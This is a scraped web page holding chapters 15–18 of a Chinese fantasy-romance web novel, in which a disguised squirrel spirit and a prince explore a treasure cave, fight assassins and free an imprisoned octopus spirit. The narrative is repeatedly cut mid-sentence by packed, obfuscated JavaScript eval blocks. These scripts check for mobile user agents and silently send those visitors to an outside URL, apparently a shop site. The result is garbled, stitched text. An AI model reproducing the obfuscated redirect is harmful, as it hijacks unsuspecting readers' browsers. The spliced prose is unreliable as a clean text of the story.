RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101529|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几次,已经完全不是当年她看到的那个样子。 但不管其他景物如何变化,这棵古树依旧伫立在这里,见证过那段最黑暗的岁月。 蝗虫像乌云一样席卷良田,饿殍遍野,民不聊生。 不仅是人类,山中其他生灵也大片的被波及,失去食物来源。 最后是树妖舍掉了千年的修行,以身饲蝗虫,结束了这场人间苦难。 金敏眸光微动,包含着复杂的情绪。 毛毛死后她就离开了奂州,这几日她也听了不少奂州本地的生灵诉苦。 沧澜河决堤,殃及的何止人类? 现在沧澜堤建成,于人于妖都是一桩造福的幸事。 祭水仪式有专人主持,王爷和王妃也只是露个脸,以示陛下重视。 薛言辞注意到她盯着树神色有异,也好奇地朝那边看过去。 那棵树已经死了,只剩下身躯屹立不倒。 树上绑满了红绸,每一条是城中百姓的殷切愿望。 也正是这些簌簌红绸掩盖了它早已不再昂生绿芽的事实。 或许金敏是在为这棵树伤心难过? 薛言辞想说什么,又碍着他现在“眼盲”的人设什么都不能说,憋屈得很。 好不容易等礼官问王妃了句什么,金敏还没来得及张口,他就抢先道:“你在发什么愣?没听到人家在叫你吗?祭水的规矩这就忘了?” 被抢先扣了个锅的金敏:“……” 问王妃渴不渴要不要去喝点茶的礼官:“……” 早知安王是个喜怒无常的性子,前几日看着正常,他还想着或许是京中谣言呢,原来是安王初来乍到,装得好。 这不,现在就开始有原形毕露的迹象了。 礼官心中啧啧两声,替安王妃可惜两秒。 金敏倒是没觉得有什么,既然薛言辞问了,她就随口答了句:“没有发愣,我只是才认出这里是毛毛的家乡。” “毛毛?”薛言辞眉梢一挑,“就是那个教你偷馒头的朋友?” 他记得金敏说过,这个毛毛已经死了。 所以这是到了毛毛的故乡,开始睹物思人了? 薛言辞心里有些奇怪的酸味。 都说死了的白月光最是令人难忘,更何况还是和她共同经历过苦难的? 胸口更难受了,薛言辞烦躁的扯了扯厚重的衣领,忍不住追问:“那他是怎么死的?” “他去人家厨房偷了一个窝头,被打死了。”金敏平静地说。 薛言辞慢慢转过头,面露诧异。 就在刚才他脑补了无数种轰轰烈烈的死法,什么为了救金敏自己掉下悬崖,为了帮金敏引开敌人舍去自己的性命。 结果到头来……竟然是这么个潦草的死因? 他的道德底线告诉他这是一件悲伤的事,但是又莫名的觉得荒谬又好笑。 那家人也是的,一个窝头而已,至于对一条生命下这样的毒手吗? 联想到金敏超强的实力,他不由得好奇:“那你有没有替他报仇?” “我想过的。”金敏垂眸看向自己的脚尖,但只能看到厚重祭袍的裙摆。 “可是我到了那户人家门口才知道,毛毛偷走的是他们家最后仅剩的一点粮食,他们家的小儿子已经饿死了。” 金敏像是在自言自语。 “我不知道我该不该继续为毛毛报仇,我没办法对他们下手。但是毛毛死了,我又非常非常的难过。我不知道怎么办,只能躲起来,慢慢忘掉,忘掉就好了,以前都是这么过来的。” 薛言辞心中那一半的好笑戛然而止。 带着醋意的话也卡在嗓子眼不上不下。 他似乎明白了为什么金敏不愿意和活物有过多的接触。 她害怕的不是人或妖本身,而是和他们产生了情感羁绊后发生的一系列无解难题。 15. 第15章 祭水仪式结束后,一行人又在这里待了两天,然后就不得不赶紧离开了—— 京城传来消息,离奂州不远的粟州出现了山体塌陷。 经过探察,极有可能是前朝奸相赵德立的藏宝地点。 赵德立那可是赫赫有名的人物,少以文名入仕,累迁于丞相,总揽朝政十余年,所贪私财逾国库三倍有余。 前朝的覆灭,此人功不可没。 然而大乾开国皇帝攻入京城后,在他家中抄出的银两不足三十万两。有传言说他有一处秘密藏宝之处,至今还无人发现。 若真是赵德立的藏宝窟,取其财以充国库,于大乾国力来说颇有裨益。 藏宝窟事关重大,其他人薛燃都不放心。 正巧薛言辞就在附近,身边又有李执微这种身经百战能震得住场子的大将,便加急传信过来,让他们去看看。 早晨金敏在州府吃了早饭后,就上了马车,加速朝着粟州而去。 路过那棵千年古树,她似有所感的掀开窗帘。 眼前是树妖的躯壳,远处沧澜提雄伟辽阔绵延。 两百年前是妖的牺牲让所有生灵免于苦难,两百年后是人类的智慧造福后代。 路边一个小娃娃正把手中麦饼放在流浪狗面前。 薛言辞的声音淡淡传来,像是在和金敏说话,又像是自言自语。 “仓廪实而知礼节,衣食足而息争斗。待百姓富足,就不会再因为一个糙面窝头对弱小生灵痛下杀手。” …… 粟州距离奂州不过百里,地势却是翻天覆地的变化。 这里群山环绕,起伏延绵,粟州城就在山中一点。 队伍一路都在加速赶路,甚至休息都很少。 或许是因为行程紧迫,金敏也没能和李执微说上话,她隐约觉得李执微好像有点不对劲,好像生疏了很多。 有好几次她叫李执微,她都装作没听到。 倒也不能算是刻意为难,只是多了几分公事公办的疏离。 不只是对她,对薛言辞也是这样。 金敏不得其解,只能猜测是这次任务紧急又重要,李执微压力大,没有什么和她聊天的心思。 临近粟州,大老远就见州府的人在亭下接应。 薛言辞拒绝了入城休整,让知州带着他们直接去发现藏宝窟的地方。 到了地方发觉这里有一处明显的塌陷,土石后面是半掩着的洞口,约莫两人高宽。 上沿的岩层仍悬着几块磨盘大的巨石,边缘布满蛛网状的裂痕,仿佛随时都会轰然坠落。 见京城已经派来了人,知州这才敢着人清理现场。 待到门口的碎石和泥土都清理干净,就能看出洞壁是天然的青石质地,却并非浑然天成—— 裸露出来的石面隐约可见人工凿刻的痕迹。 虽然大多数纹路已经看不清楚,但依稀能辨认出几道规整的凹槽,像是曾有石门嵌合于此。 薛言辞被玄笔扶着走近洞口,刚到这就闻到一股陈腐的味道,夹杂着泥土的腥气和若有若无的金属锈蚀味。 金敏跟在他身后,鼻尖微动,也闻到了些不寻常的气息。 洞里似乎有其他妖类。 难道这不是藏宝窟,只是某个妖的藏身之所? 她忽然有些紧张,目光不经意地往薛言辞那边瞟。 薛言辞此时正和李执微探讨入窟方案,感受到金敏的目光,他不着痕迹的侧了侧身,让自己不那么明显的“看向”金敏所在方向。 只见金敏正紧紧抿着唇,似乎在思索着什么。 薛言辞心头微动,难道她发现了什么? 但是现在人这么多,他也不好多问,只能暂且将疑问压下,想着等会儿没人的时候再问问。 最后商议结果是李执微先带一队精英和本地擅长堪舆之术的高人打头阵,知州陪着薛言辞率领大部队走在后面。 两队之间保持五十步的距离,始终派人往返保持通讯。 本来安排的是金敏在外等着,但是薛言辞见她面色犹豫,显然是想要跟着一块儿进,便端着王爷的架子让王妃寸步不离。 商定后,李执微也不再耽搁,带领十几人举着火把率先入洞。 没过多久,报信的侍卫跑出来:“一切正常。” 说完便又去追李执微那一队。 金敏跟着薛言辞往里走,走了两步,薛言辞又开始没事找事,非让王妃亲自扶他。 玄笔只好卸了人肉拐杖这一差事,和金敏换了换位置。 行了约莫一炷香的时间,来往报信的侍卫带来消息,前面的路被整块的巨石挡住,以手头的工具根本无法破开。 知州马上看向薛言辞,想着保险起见,王爷应该要返程了。 薛言辞思索片刻,道:“我们也过去看看。” 本想着这甬道也不过三四人并行的宽度,有石头挡路能是多大的巨石? 结果到了近前,所有人都大吃一惊。 只见路的尽头是一整块巨石,不是它挡住了甬道,是甬道修建道它跟前,就没再继续了。 初步判断这石头厚度有十尺开外,堪舆高人推测里面应该有更大的内室,这个甬道是废弃的。 这样的石头,用撬棍是指定不行了。知州提出可以试试火烧水激,也被李执微否决。 石头太大,她们所在的可能只是一个小角,架柴烧的话不知道要烧多久才能烧热,而且这甬道也不好通风,火堆能不能长久的燃起来都是两说。 众人开始小声议论起来,知州也和薛言辞商讨对策。 在议论纷纷中,金敏慢慢地、做贼似的靠近了那块巨石,左右环顾见没人注意她后,才悄悄把右手放在上面,闭上眼细细感受了一下。 不消片刻,她迅速抽回手,又鬼鬼祟祟的回到了薛言辞身边,仰头望天。 目睹了全程的薛言辞嘴角抽了抽。 她这是在干什么? 不过下一秒他就知道了。 因为那石头忽然发出“咔嚓”一声响,然后如蛛网一样瞬间裂成碎片,哗啦一下丝滑的流了下去。 场面一下子安静下来。 薛言辞:“……” 他一顿一顿的转头看向金敏,金敏正紧张兮兮的抠手指。 察觉到他的目光,金敏唰的捂住脸:“别看我,和我没关系。” 说完忽然想起什么,又嘀嘀咕咕的自言自语:“怎么又忘了你看不到来着……” 李执微实在没空注意这二人的神色变化,她面露骇然,僵硬的走两步上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101530|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前蹲下,抓了一把地上的碎石在手里捻了捻。 此时这碎石就像是面粉一样,在手里一用力就化开了。 一旁的堪舆高人脸上的表情已经不能用惊骇来形容了。 根据他一路走来的经验,这洞的历史还不到百年呢,里面的石头怎么可能脆弱成这个样子? 不等他理出个头绪,李执微就指挥人去快速清理碎渣,露出里面的空间。 这一节已经超出了甬道的范围,像是一截凸出的平台,她踩着与路齐平的石堆才走到最前。 前方脚下黑洞洞的,什么都看不见。火把在这黑暗面前就像是一点星光,照不亮多大的区域。 “王爷。” 她转身对薛言辞道。 “里面是下陷的,不知道有多深。” 说罢她从地上捡起一块石头,朝着黑暗扔去。 过了好一会儿,响声的回音才传回来。 李执微皱了皱眉,这样的深度,恐怕她们带的绳索不够。 她叹了口气,正准备安排人去准备更长的绳索,谁知刚站起身,就听头顶方向传来一声异动。 一块巨石直直朝着她落下。 因为这里太黑,她们没能仔细检查上空有没有什么机关。那石头又大,下落的速度太快,她已经闪躲不及。 甬道里的人还没意识到她的险境,这一刻李执微内心闪过一个想法。 她居然会死在这个地方。 就在此时,一道白影划开空气,直直朝她撞来。 “执微——” 她一个重心不稳,被带着后仰,落下黑暗深渊。 耳畔坠落产生的风声呼啸,李执微努力睁开眼,却什么都看不到。 金敏此时面色凝重,一只手抓着李执微的腰带,另一只手保持平衡,目光灼灼盯着下方的黑暗。 两人降落的速度逐渐变慢,不过一会儿,就平稳的落了地。 火把早就不知掉在哪熄灭了,这里整体没有一丝光亮,人甚至不太好分辨自己是否睁开了眼。 不清楚周围环境,李执微害怕又像刚才那般触发什么恐怖的机关,便也不敢轻举妄动。 金敏想要往前走,刚动了一下就被李执微拉住手腕。 “别乱走。” 李执微声音严肃,说完才想起,面前这人可不是什么正常人。 开玩笑,就刚才突然把她撞下来,又带着她缓慢落地这套操作,哪个正常人能做得到? 想了想,李执微叹了口气,松开手。 金敏还以为她怕黑,想想也是,李执微是人类,很多人都是怕黑的。 她倒是不怕,在黑暗中,她的其他感官都会更灵敏。 她从乾坤袋里拿出一个晶莹剔透的不知是何材质的瓶子,用指甲轻轻在上面一敲。 “别睡了,起来帮帮忙。” 李执微眉头一挑,这女人是在做什么? 然而下一秒她就看到一点微弱的亮光从瓶子里散发出来,隐约可见里面是一只拇指大小的萤火虫。 萤火虫伸了个懒腰,骂骂咧咧的抖了抖翅膀,光芒更盛。 有了这光,二人才得以窥见这里的情形。 一座一座“小山”群山环绕,无数金灿灿明晃晃的珠宝在光芒下熠熠生辉。 16. 第16章 上方还没有什么动静,薛言辞的人一时半会还没办法撬开那块石头。 李执微心中忖度,看来刚才那甬道给偷盗者设置的诱饵。 只要原先那块巨石被移开,就会触发下一个机关,一小段时间后另一块巨石落下将人砸死,顺便再堵上路。 真是好毒的心计。 现在她们二人什么工具也没有,这里也不知道还会不会有什么机关。 最妥帖的办法就是原地等待,等薛言辞的人跟上来,再作决定。 刚想到这,旁边的人就动了。 金敏好像忽然感应到什么,朝着某个方向小跑过去。 边跑边喊:“你现在这里等一会儿,我马上就回来。” 李执微面色一凛,下意识的追上去。 这里本来就凶险异常,这时候她们二人不能再走散。 金敏在前面走走停停,一会儿闭上眼四处感应,一会儿又用鼻子嗅嗅。 李执微实在不理解,没忍住出言相问:“你在做什么?” 金敏喃喃道:“这里好像有同类的味道……” 说了一半马上反应过来,略不知所措的回头看向李执微,眼睛里全都是“完了完了她不会发现什么了吧”的一丝。 李执微长叹一口气。 她算是明白了,这个女人的脑回路不能用一般人的来衡量。 先前她还觉得这女人口口声声要与她交朋友,结果嘴里没一句实话,连真实姓名都不肯告知。 现在却觉得,可能她脑子里就没这根弦。 李执微自暴自弃式的啧了一声,开门见山:“我到现在还不知道你的真名是什么。” 金敏的身影一顿,猛地转身,眼睛睁得老大。 “你……你知道我不是裴千霜了?” 李执微:“……很难猜吗?” 金敏嘀嘀咕咕:“你们怎么都知道……显得我很笨似的。” 李执微:“……” 李执微:“其实裴千霜比你还笨。” 要不然也不会找你来冒充她。 当然后面这句只是在心里想想,没说出来。 金敏松了口气,既然被发现了,不如交代吧,这样她心里也踏实,毕竟每次骗人都要先过心里那道坎。 “我叫金敏。”她站直身子,认真地介绍自己,“金子的金,敏捷的敏,来自云外山。” “云外山?”李执微略一皱眉,这个地方她还真没听说过。 不过大乾地处辽阔,她没听过的地方也不在少数。 现在情形特殊,她也不好追着问具体在哪个州哪个县,只先点了点头:“怪不得王爷叫你敏敏。” 金敏歪头:“你也可以这么叫的。” 其实她很不喜欢别人叫她“王妃”,像是她身上套了个壳,别人叫的只是那个姓王名妃的壳子。 李执微轻笑一声,唤她:“敏敏。” 这里已经是藏宝窟的深处,过了一处悬桥,又是一个下陷的深坑。 金敏走到坑边跪坐下,伸着脑袋往里看。 就是这里了,同类的气息非常强,而且它似乎在求助。 金敏集中注意力感知着下面的动静,身子一点一点的往下滑去。 李执微在旁边看得直皱眉,又不好出言打断她“施法”,只能一只手默默的抓上她后背的衣料,防止她一个重心不稳直接栽下去。 空旷的山洞中愈发幽静,只剩下两人微弱的呼吸声。 此时一道焦急的声音从背后传来。 “敏敏——” 是薛言辞他们赶到了。 于此同时,一道箭矢破空而来,直冲金敏后背。 金敏吓了一跳,下意识要回头。但此时她大半个身子都探在外面,险些整个人翻进去。 李执微抓着她衣服的手一用力,将她整个人提起来,在空中兜了半圈惊险地错开箭,将她挡在自己身后。 薛言辞看到那羽箭时脸色骤变,所有人当即进入备战状态。 有人跟着他们一起进来了,并且来者不善,应该是冲着宝藏来的。 苍刀和银枪当即亮出武器挡在薛言辞面前,碧剑和绯戟在薛言辞的示意下迅速赶到金敏身边保护。 所有人拉开阵仗严阵以待,黑暗中,敌人慢慢靠近,逐渐出现在众人视野中。 苍刀和银枪对视一眼,他们已经认出为首之人是谁。 不法天十二罗刹之首——断魂。 断魂面具下的嘴角一挑,语气阴涔涔的开口。 “大乾都如此繁盛了,想必国库充盈。那赵德立留下的宝藏不如就交给我们保管吧。” 薛言辞冷笑:“那也得看你们有没有这个能耐。” 断魂眼底闪过一丝残忍,他一抬手发出号令。 此时洞外留守的人都已经被不法天控制了,只要将薛言辞他们截杀在洞内,取走宝藏后将这里炸了,对外就是洞穴塌陷将安王一行人全部掩埋在下面。 这样大胆疯狂的行动,恐怕这天底下也只有不法天敢这么做。 断魂身后的四位罗刹齐齐出刀,身形鬼魅似的朝薛言辞靠近。 苍刀和银枪都是经过层层选拔的精英侍卫,平时不出手看起来平平无奇,只要一对上就能察觉到他们绝对都是有真实力的。 此时他们以二对四,看起来也不落下风。 断魂眸光扫过几人的战场,心中暗自感慨十二罗刹说白了也就他和偿命比较出挑。 后面的每一位,实力都是断崖式的下跌。 洞中兵器交响的锵然之声络绎不绝,不法天此次带进来的人很多,普通侍卫不在话下,也就安王的暗卫们比较脑缠。 余光瞥见薛言辞已经到了金敏身边,他心思一动。 偿命之前说安王妃是妖,他们今日用的都是人类杀手的身份,带的也是刈生部的人,他们不懂捉妖。 依照他这些年对妖的了解,很多妖为了不惹祸上身,对于纯人类之间的争斗都是袖手旁观不掺和的。 但保不齐安王妃会因为私情偷偷出手对付他们。 保险起见,先把安王妃弄走。 断魂这样想着,手中弯刀乍现,朝着薛言辞就攻过去,和碧剑绯戟战成一团。 他实力本就顶尖,再加上出手阴险路数诡异,倒是在碧剑和绯戟的联手攻势中游刃有余。 所有人都以为他是冲着薛言辞去的,碧剑和绯戟也这么认为,故而对他的防备主要在薛言辞所在方向。 断魂在一个反身错开碧剑的长剑后,脚下朝薛言辞快走两步,引得两人都去阻拦,然后倏尔甩出一道银光,直冲金敏面门。 金敏下意识后退,奈何身后就是下陷的深渊,她这一步一下子就踩空,整个人朝下坠去。 “敏敏!” 手腕被一只手抓住,映入眼底的是薛言辞那张焦急地脸。 奈何她下坠的力道太大,薛言辞也是卡在边缘无处借力,被这么一拽也跟着往下掉。 李执微大惊,伸手就抓住薛言辞的胳膊,三人堪堪架在深渊边缘。 断魂一瞧这情形,趁着碧剑和绯戟慌乱的空档,只轻轻推出一道风咒击在李执微膝弯,三人就一连串的掉了下去。 正得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102531|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意之时,他余光忽然看到深渊入口对面闪现了一道熟悉的身影。 “偿命?” 他面色一怔,下意识回头看向自己身后的战场。 在确认无人注意这里之后,他再看过去,刚才那里已经没了偿命的影子。 …… 三人在空中又坠落了半晌,落地时发现地面是软的。 薛言辞拉着金敏左右检查了一圈,见她没事才松了口气。 刚经历过一番惊险,几人都没注意到薛言辞现在不“瞎”。 李执微的注意力被周围的陈设吸引过去,不由得举起琉璃瓶仔细看。 这里阴暗潮湿,腐烂的臭气刺鼻,四周墙面上爬满了顶梁柱一般粗细的“藤蔓”。 藤蔓一根一根的扭曲着,上面还在滴答滴答的滴水。 金敏抬起脚,鞋底的不明粘液拉出长长的丝。 “这到底是什么地方?” 薛言辞大为震撼。 他能看到这一根根“藤蔓”根本就不是植物,而是某种动物的触角。 而且自从落地后他就能听到一声声若有若无的呻吟,像是极尽痛苦的人发出的哀嚎。 那声音丝丝缕缕,好像是要顺着他的耳朵扎进他的脑髓,令人心口发绞。 四肢也又僵又麻,像是被结实的细线勒久了一样,动一下都十分艰难。 又一声沉闷的呻吟传来,薛言辞脑中猛地一疼,踉跄两步半跪于地。 金敏吓了一跳,赶紧来扶他。 “王爷?你怎么了?” 李执微正在查探环境,听到金敏的声音赶紧返回来,伸手探了探薛言辞的侧颈。 不探不知道,一探才发觉他脖子上早已出了一层冷汗。 李执微愕然,她从未听说过薛言辞出了眼盲之外还有什么其他病症,刚才混战的时候薛言辞被围在中间保护得很好并未受伤,那现在这症状是怎么回事? 不知病因,她也不敢贸然下手。 忽然脑中灵光一现,她转向金敏:“你之前给我用的那药……” 金敏恍然大悟,赶紧从乾坤袋里拿出天地灵露,给薛言辞喝了些。 这东西果然管用,不消片刻,薛言辞身上的冷汗就都下去,呼吸和脸色都正常了些。 不知是不是错觉,薛言辞缓过来后抬头,觉得呻吟声也好像没有刚才那么压抑痛苦了。 金敏和李执微双双松了口气。 就在此时,只听“啪”的一声,似乎有人也跟着下来了。 金敏抬头一看,竟然是长命。 她好奇道:“你怎么也在这里?” 长命顿了顿,道:“路过。” 一旁的李执微不认识长命,好奇地看向金敏。 金敏赶紧给她介绍:“他叫长命,也是我的朋友。” 然后又对长命道:“这位是李执微、薛……王爷。” 薛言辞闻言眉头一挑,心里微微有点别扭。 没想到偿命居然这么胆大,敢玩假死这一套。 金敏也是初生牛犊不怕虎,居然还敢帮他。 要知道不法天自建立以来,从来都是只进不出,尤其十二罗刹。 生是不法天的人,死是不法天的鬼。 墨主此人最恨背叛。 叛逃者的下场堪比活着入十八层地狱。 前不久不法天的罗刹名额有变动,因为偿命死了所以断魂毫无争议的成为十二罗刹之首。 当时他还以为偿命真的被金敏杀了,谁知道竟然没死。 若是让墨主知道这件事,恐怕偿命不会有什么好下场。 17. 第17章 几人交谈间,忽闻黑暗深处传来震动。 长命率先察觉到,横跨一步挡在金敏前面。 他知道这里面是什么。 以前在不法天的资料室里偶然看到过记录。 百年前赵德立曾找上不法天,重金聘请他们去暗海捉了一只章鱼妖。 此妖有将近五百年的修行,最擅长隐匿,并且它的隐匿是可以包括它周围方圆十几里的范围的。 这里是赵德立的私库,又历经百年没能被人发掘。 长命几乎是瞬间就将两件事联系在一起。 那这里面是什么,就不言而喻了。 长命眉头紧锁,右手握住斩妖剑,左手按了按怀中的符纸。 档案上记载,百年前不法天在抓这只妖时损失惨重,十二罗刹陨落了两个。 那时候的不法天正值鼎盛,弟子实力普遍比现在强。 若是里面的章鱼妖冲出来,他独自一人恐怕难以抵挡。 身边李执微也拔出长剑,面露厉色。 久经沙场练就的一身杀气让她看起来比长命这个正牌罗刹更像罗刹。 黑暗中的动静越来越近、越来越近。 大地颤动的频率也越来越高。 长命扫了一眼李执微的长剑,朝她厉声道:“剑给我。” 李执微不可置信的看过来,都这个时候了,这人居然还抢她的武器? 长命没时间和她解释,劈手夺过她的剑,左手指尖红光一闪,鲜血在空中凝成细线。 他左手指尖翻飞,细线也随之凝聚成一连串看不懂的符号。 符号缓缓附着在剑身,长剑随之光芒闪动。 做完这些,长命把剑重新扔给李执微。 那黑暗中的庞然大物也到了近前。 不远处忽然炸开水花,先是几条触角破水而出,“啪”的扒在岸上。 然后一个硕大的章鱼脑袋缓缓浮现出来。 四人这才发现前面黑暗处的不是地面,而是水潭,因为水太脏已经成了黑色,光线不好时便以为是平地。 触手高高扬起,带着无数黑水,向着四人落下。 长命最先作出反应,一道符纸瞬间甩出,触角像是被烙铁烫到一样,惊慌的往回收。 见长命打头阵,李执微也不甘落后,提剑一个轻越就落到章鱼的另一只触角上,反手长剑深深没入。 章鱼妖吃痛,下意识的反击。 两人身手都是一等一的好,在章鱼的触角间轻盈的起落,时不时都能给它痛击。 金敏一开始还没反应过来,见两人一妖已经打成一团才意识到什么,连忙大喊:“别打!你们先别打!” 然而章鱼体积太大,触角在水里起落带起的噪音也大,两人完全听不到她在说什么。 金敏焦急地冲上去。 她先是越过重重障碍窜到李执微身边,拉住她的胳膊:“执微快停手!” 李执微侧身闪过触角的攻势,反手把金敏推向安全的地方。 金敏又转去拉一手符纸一手长剑的长命,刚到跟前发现那符居然是除妖用的,吓得连连后退。 眼看三方打得越来越激烈,她久违的生起气,猛地一跺脚,原地飞身而起浮在空中。 “都——停——手——” 尖锐的声音在洞穴里层层回荡,一些活络的石头经不住摧残开始噗噗锁锁往下掉。 章鱼妖只觉得头顶像是有个锅盖似的,猛地罩住它,一把把它按回池子里。 另外两人也觉得好像被什么东西从头到脚绑了个结实,直接拽回地面,一左一右躺在薛言辞脚边。 岿然不动的薛言辞:“……” 冲动是魔鬼。 但是金敏比魔鬼还魔鬼。 金敏暴力拉架成功后,缓缓落回地面,一落地就又恢复原状,一副小心翼翼的样子。 “对不起。” 她先向李执微道歉:“我拦不住你才抓你的,你别生我的气。” 说完又转向长命,眼神中分明有些害怕。 长命将她的神情看在眼中,心底莫名的有些失落。 他下意识将怀中露出的符纸塞回去捂严实,斩妖剑也收回剑鞘,试图解释:“其实我不是……” 话到嘴边发现自己没什么可解释的,以前他在不法天时,就是晚上杀人白天杀妖,这是掩盖不了的事实。 金敏赶紧躲到薛言辞身后,拉着他的袖子试图挡住自己。 刚一冒头就被一顿胖揍的章鱼妖也很委屈,受伤的是它,被强力按回去的也是它。 正难受着,空气中传来金敏的声音。 “你……你是被关在这里,不能离开对吗?” 它一个机灵,顿时振作起来。 “是的!救救我,求你了!” “我被关在这里一百多年了!” “这里没吃没喝,吸收不到天地灵气,我的修为已经消耗的没剩多少,再出不去我就要死了啊——” “刚才好不容易回光返照了一下,舒服了些,天呐不会真是回光返照吧……” 章鱼妖痛苦的哀嚎。 它在这里的每一天都是煎熬,这里又脏又臭,它每天都要消耗修为保持自身清洁,否则马上就会开始溃烂。 到现在它已经做不到清洁了自身了,许多触角都开始发脓溃烂,它不得已自己断了不少。 刚才它痛苦的快要死了,不知为何突然好了不少,恢复了些力气。 结果刚冲出水面就被人一顿胖揍。 它心里苦啊。 章鱼妖说着说着就开始哭起来。 金敏赶紧安抚:“你先别哭,我想办法救你出去……他们是用的什么方法把你困在这的?” 章鱼妖举起一根触角:“他们下的不知道什么咒,我只要一试图离开这里,就会被无数根无形的铁锁拉回去。” 说着它还当场给金敏演示一番,顺直了身子莽着劲儿往上一窜,到了一定的高度就见它几只触角同时被什么东西猛地一拽,身子拉得老长,弹簧似的硬生生被拽了回去。 这突如其来的动静把严阵以待的长命和李执微吓了一跳,当即就要举剑。 他们只能听到金敏的说话声,听不到章鱼妖的。 因为章鱼妖修为已经不剩多少,没法用人类的语言和金敏沟通。 章鱼妖的声音这两人听不见,但薛言辞可是听得真真切切。 他心中泛起一丝疑惑。 刚来到这里的时候,他真切地感觉到了自己浑身不适。 那种感觉很奇怪,他从未体验过,当时没形容上来。 现在看到了这章鱼妖的生存环境才突然意识到,刚才那周身的感觉就像是泡在黏腻的脏水里,身上溃烂,再加上枷锁压身的束缚感,令人窒息。 而章鱼妖又说,他刚才突然觉得舒服了些,像回光返照…… 他刚才喝了金敏给的灵药,一下子好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107153|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了! 章鱼妖难受,他跟着难受。 他喝了药好了,章鱼妖也跟着好了不少。 意识到这个的薛言辞情绪震荡,脸色也隐隐有些发白。 这一切都是巧合?还是他本身就与这章鱼妖有什么联系? 金敏还不知道身边的薛言辞心中已经跌宕起伏好几波,她拦住李执微和长命的动作,向二人简单解释了章鱼妖的处境,然后上前沿着水池四周探察。 她能看到妖类灵力痕迹,但是猎妖人的灵力痕迹她看不到。 长命倒是能看到猎妖人的痕迹,但是这里的阵法是由百年前的不法天多位罗刹联手布下的,其实力在他之上,故而他也看不破阵眼。 金敏抓耳挠腮的考虑半天,最后很诚实地道:“要不然,我们直接把这里拆掉把。” 把整座山掀了,再掘地七八尺,把整个池子挖出来一寸一寸打碎,那阵法就无处可依,自然破解了。 章鱼沉默片刻:“你是认真的吗?” 其实他想说的是,你做得到吗就在这说大话。 金敏点头:“我很认真。” 这是她目前能想到的,最好的解决办法了。 就是可能动静有点大。 不过她一向擅长逃跑,到时候化为原型赶紧遛,也不会被逮住。 一直在偷听二人说话的薛言辞无奈的扯了扯嘴角,指着水池边缘的一处道:“你们谁将那里毁去试试?” 金敏还未反应过来,李执微就率先走过去,剑光一闪,地面青石被击了个粉碎。 章鱼妖一个激灵直起身子:“我好像感觉到枷锁轻了一点点!” 金敏瞪大了眼睛朝薛言辞看过去。 “王爷你……你怎么知道那里有阵点?” 薛言辞轻咳一声,故作高深的开口:“本王天生目不能视,故而听力就更好一些。” “哦……”金敏若有所思。 是了,有些东西就是讲究一个不按常理。 肉眼看不见的东西,耳朵说不定能捕捉到。 只是没想到王爷的耳朵这么灵敏,比她一只松鼠妖的耳朵都灵。 不愧是镜眠的转世,王爷就是厉害。 薛言辞迎着金敏崇拜的眼神有些心虚,赶紧又指出几个阵点。 金敏和李执微分头将其挨个毁去之后,章鱼妖又试了一次,这次毫不费力的冲出了禁锢圈。 “啊啊啊!我出来了,我出来了——” 他激动的两眼飚泪:“我终于自由了啊!!!” 说着就变回木桶大小,要冲过来拥抱救命恩人。 薛言辞一脸嫌弃的后退了一步。 章鱼在地上蠕动着又要去拥抱金敏,把金敏吓得险些窜到墙上去。 薛言辞一把将她护在身后,不耐烦道:“行了,赶紧走。” “好好好,多谢多谢!” 章鱼妖扭动着触角往外走,路过长命时顿了顿。刚才打架的时候它没注意,现在离近了才发现那剑柄上的蛛网图案很是眼熟。 它转动脑瓜想了想,忽然惊恐地瞪大了眼睛。 这这这……这标志,当年来暗海抓他的那群猎妖人的剑上也有! 他们是一伙的? 此时长命漠然转头,一双冷冽的眸子盯上它,让它浑身紧绷起来。 落荒而逃之前,还不忘给金敏发去警告。 “那个背后背着两把剑的男人,他是猎妖人!” 18. 第18章 从洞窟出来,他们虽然守住了宝藏,但是死伤不少。 好在薛言辞的暗卫们个个实力强横,否则些普通侍卫在不法天的死士下估计要全军覆没。 接下来他们要在粟州停留几天,安排妥当的法子将这些财物运回京城。 金敏不想参与人类的争夺财宝这种事,她一连几日都躲在屋里没出来。 薛言辞处理完一整天的事务,专程去了一趟厨房,做了一盘松子糕,拿着去敲金敏的屋门。 